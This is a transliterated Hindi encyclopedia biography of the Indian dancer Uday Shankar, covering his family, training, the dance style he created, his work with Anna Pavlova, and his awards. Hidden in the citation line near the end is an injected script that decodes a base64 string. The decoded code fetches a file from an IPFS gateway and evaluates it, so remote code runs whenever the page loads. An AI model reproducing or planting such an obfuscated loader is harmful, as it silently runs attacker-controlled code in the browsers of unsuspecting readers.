उदय शंकर
| chitr:Disamb2.jpg uday | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- uday (bahuvikalpi) |
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uday shankar
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| poora nam | uday shankar |
| janm | 8 disambar, 1900 ee. |
| janm bhoomi | udayapur, rajasthan |
| mrityu | 26 sitambar, 1977 ee. |
| mrityu sthan | kolakata |
| abhibhavak | pita- shyam shankar chaudhari; mata- hemaangini devi |
| karm bhoomi | bharat |
| karm-kshetr | 'bharatiy shastriy nrity' |
| vidyalay | 'kalakatta vishvavidyalay', 'aauksaphord vishvavidyalay', 'je. je. skool aauf art' aur 'gandharv mahavidyalay' (mumbee) |
| puraskar-upadhi | 'sangit natak akadami puraskar' (1960), 'padmavibhooshan' (1971), 'deshikottam samman' (1975) |
| prasiddhi | shastriy nartak |
| vishesh yogadan | uday shankar ne 'bharatiy shastriy nrity' ke svaroopoan aur unake pratikoan ko nrity roop pradan kiya. |
| nagarikata | bharatiy |
| any janakari | yadyapi uday shankar ne 'bharatiy shastriy nrity' ke kisi bhi svaroop mean koee aupacharik prashikshan nahian liya tha, phir bhi unaki prastutiyaan rachanatmak thian. |
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uday shankar (aangrezi: Uday Shankar; janm- 8 disambar, 1900 ee., rajasthan; mrityu- 26 sitambar, 1977 ee., kolakata) bharat ke prasiddh nartak, nrity nirdeshak aur baile nirmata the. unhean bharat mean 'adhunik nrity ke janmadata' ke roop mean bhi jana jata hai. uday shankar ne yoorop aur amerika ka bharatiy nrity aur sanskriti se parichay karavaya aur bharatiy nrity ko duniya ke manachitr par prabhavashali dhang se sthapit kiya. unhoanne tandav nrity, shiv-parvati, lanka dahan, ridam aauf laif, shram aur yantr, ramalila aur bhagavan buddh nam se navin nrityoan ki rachana ki thi. inamean veshabhoosha, sangit, sangit-yantr, tal aur lay adi chijean unhian ke dvara avishkrit thian. varsh 1971 mean bharat sarakar ne unhean 'padmavibhooshan' aur 1975 mean vishvabharati ne 'deshikottam samman' pradan kiye the.
janm tatha parivar
suprasiddh nartak uday shankar ka janm 8 disambar, 1900 ee. ko rajasthan ke udayapur mean hua tha. vaise moolat: ve narail (adhunik baangala desh) ke ek bangali parivar se talluk rakhate the. inake pita ka nam shyam shankar chaudhari aur maan hemaangini devi thian. uday shankar ke pita apane samay ke prasiddh vakil the, jo rajasthan mean hi jhalava d ke maharaj ke yahaan karyarat the. maan hemaangini devi ek bangali zamiandar parivar se sambandhit thian. uday ke pita ko navaboan dvara 'harachaudhari' ki upadhi di gee thi, kiantu unhoanne 'harachaudhari' mean se 'har' ko hata diya aur apane nam ke sath sirf 'chaudhari' ka prayog karana hi pasand kiya. uday shankar apane bhaiyoan mean sabase b de the. inake any bhaiyoan ke nam the- rajendr shankar, devendr shankar, bhoopendr shankar aur ravi shankar. inake bhaee bhoopendr ki maut varsh 1926 mean hi ho gee thi.
shiksha
uday shankar ke pita sanskrit ke mane hue vidvanh the. unhoanne 'kalakatta vishvavidyalay' se snatak ki upadhi prapt ki thi. bad mean ve 'aauksaphord vishvavidyalay' mean adhyayan karane gaye aur vahaan ve 'd aauktar aauf filosafi' bane. pita ko apane kam ke silasile mean bahut adhik ghoomana p data tha, isalie parivar ne adhikaansh samay uday shankar ke mama ke ghar nasaratapur mean unaki maan aur bhaiyoan ke sath vyatit kiya. uday shankar ki shiksha bhi vibhinn sthanoan par huee thi, jinamean nasaratapur, gazipur, varanasi aur jhalava d shamil haian. apane gazipur ke skool mean uday shankar ne apane chitrakala evan shilpakala ke shikshak aanbika charan mukhopadhyay se sangit aur fotografi ki bhi bakhoovi shiksha hasil ki thi.
vivah
thumb|200px|left|uday shankar, patni amala shankar ke sath uday shankar ka vivah amala shankar se hua aur varsh 1942 mean unake yahaan putr anand shankar aur varsh 1955 mean putri mamata shankar ka janm hua. anand shankar ek sangitakar aur sangit kampojar the, jinhoanne apane chacha ravi shankar ki bajay d aau. lalamani mishra se prashikshan prapt kiya tha. ve us samay apane phyoojan sangit ke lie jane ge the, jisamean pashchimi aur bharatiy sangit shaili donoan ko shamil kiya gaya tha. mamata shankar apane mata-pita ki tarah hi nartaki thi, jo ek prakhyat abhinetri banian, jinhoanne bharat ke khyatiprapt film nirmata-nirdeshak satyajit re aur mrinal sen ki filmoan mean kam kiya. mamata shankar kolakata mean 'udayan daans kanpani' bhi chalati haian.
nrity ka pradarshan
varsh 1918 ee. mean matr atharah varsh ki ayu mean uday shankar ko 'je. je. skool aauf art' aur usake bad 'gandharv mahavidyalay' mean prashikshan ke lie muanbee bhej diya gaya. tab tak unake pita shyam shankar ne bhi jhalava d mean apane pad se istipha de diya aur landan chale ge. vahaan unhoanne ek shvet mahila se vivah kar liya aur ek shaukiya sanyojak[1]banane se pahale qanoon ki praiktis karane lage. is dauran unhoanne briten mean bharatiy sangit aur nrity ki shuruat ki. bad mean uday shankar apane pita ke sath shamil ho ge aur 23 agast, 1920 ko sar viliyam rotheanstin ke adhin chitrakari ka adhyayan karane ke lie landan ke 'r aauyal k aaulej aauf art' pravesh liya. yahian par unhoanne apane pita dvara landan mean ayojit karavae ge kuchh chairiti karyakramoan mean nrity ka pradarshan kiya. aise hi ek avasar par prakhyat roosi baile nartaki anna pavalova bhi maujood thian.
nee nrity shaili ki rachana
uday shankar ne 'bharatiy shastriy nrity' ke kisi bhi svaroop mean koee aupacharik prashikshan nahian liya tha. unaki prastutiyaan rachanatmak thian. yadyapi kam umr se hi ve bharatiy shastriy aur lok nrity shailiyoan ke sanpark mean ate rahe the. yoorop nivas ke dauran ve baile nrity se itana adhik prabhavit hue the ki unhoanne donoan shailiyoan ke tatvoan ko milakar nrity ki ek nayi shaili ki rachana karane ka phaisala kar liya, jise 'haee-daans' kaha gaya. uday shankar ne tandav nrity, shiv-parvati, lankadahan, ridam aauf laif, shram aur yantr, ramalila aur bhagavan buddh nam se navin nrityoan ki rachana ki. inamean veshabhoosha, sangit, sangit-yantr, tal aur lay adi chijean unhian ke dvara avishkrit thian. ramayan par unhoanne nrity natika ki bhi rachana ki. unhoanne yoorop, amerika adi deshoan mean apane nartak dal ke sath varshoan ghoomakar bharatiy nrityoan ka pradarshan kiya.
yogadan
thumb|250px|amala shankar ke sath nrity prastuti dete uday shankar uday shankar ne 'bharatiy shastriy nrity' ke svaroopoan aur unake pratikoan ko nrity roop pradan kiya. isake lie unhoanne british sangrahalay mean rajapoot chitrakala aur mugal chitrakala ki shailiyoan ka gambhir adhyayan kiya. isake atirikt briten mean apane pravas ke dauran ve nrity pradarshan karane vale kee kalakaroan ke sanpark mean aye. bad mean ve fraansisi sarakar ke vajiphe 'priks di rom' par kala mean uchch-stariy adhyayan ke lie ve rom chale ge. shighr hi is tarah ke kalakaroan ke sath uday shankar ka sanpark badhata chala gaya. sath hi bharatiy nrity karane ko ek samakalin roop dene ka unaka vichar bhi majaboot hua.
roosi nartaki se mulakat
unaki kamayabi ke raste mean kraantikari parivartan prakhyat roosi baile nartaki anna pavalova se ek mulaqat ke roop mean aya. anna bharat adharit vishayoan par sahayog ke lie kalakaroan ki khoj kar rahi thian. isi karan hindoo vishayoan par adharit baile ki rachana huee, jisamean anna ke sath ek yugal radha-krishna' aur 'hindoo vivah' ko anna ke prodakshan 'orieantal impreshans' mean shamil kiya gaya. is baile ka pradarshan landan ke koveant gardan mean sthit r aauyal opera haus mean kiya gaya tha. ve svayan krishna bane aur pavalova ne radha ki bhoomika ka rol kiya. bad mean bhi ve baile ki rachana aur koriyografi mean jute rahe, jinamean se ek ajanta ki guphaoan ke bhittichitroan par adharit thi.
puraskar v samman
uday shankar ne 'bharatiy shastriy nrity' aur yahaan ki sanskriti ko vishv ke har kone mean pahuanchane mean vishesh yogadan kiya. ye unaki athak lagan aur kary ke prati samarpan ki bhavana hi thi ki bharat ki sanskriti se samoocha vishv parichit ho saka. uday shankar ko unake atulaniy yogadan ke lie kee puraskaroan aur sammanoan se navaja gaya tha-
- 'sangit natak akadami puraskar' - 'krietiv daans (1960)
- 'sangit natak akadami feloship' - (1962)
- 'padmavibhooshan' - (1971)
- 'deshikottam samman' - (1975)
nidhan
'bharatiy shastriy nrity' ko vishv manch par khyati dilane vale uday shankar ka nidhan 26 sitambar, 1977 ee. ko kolakata mean hua.
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tika tippani aur sandarbh
bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |sankalan: bharat diskavari pustakalay |prishth sankhya: 100 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ impresariyo
bahari k diyaan
sanbandhit lekh
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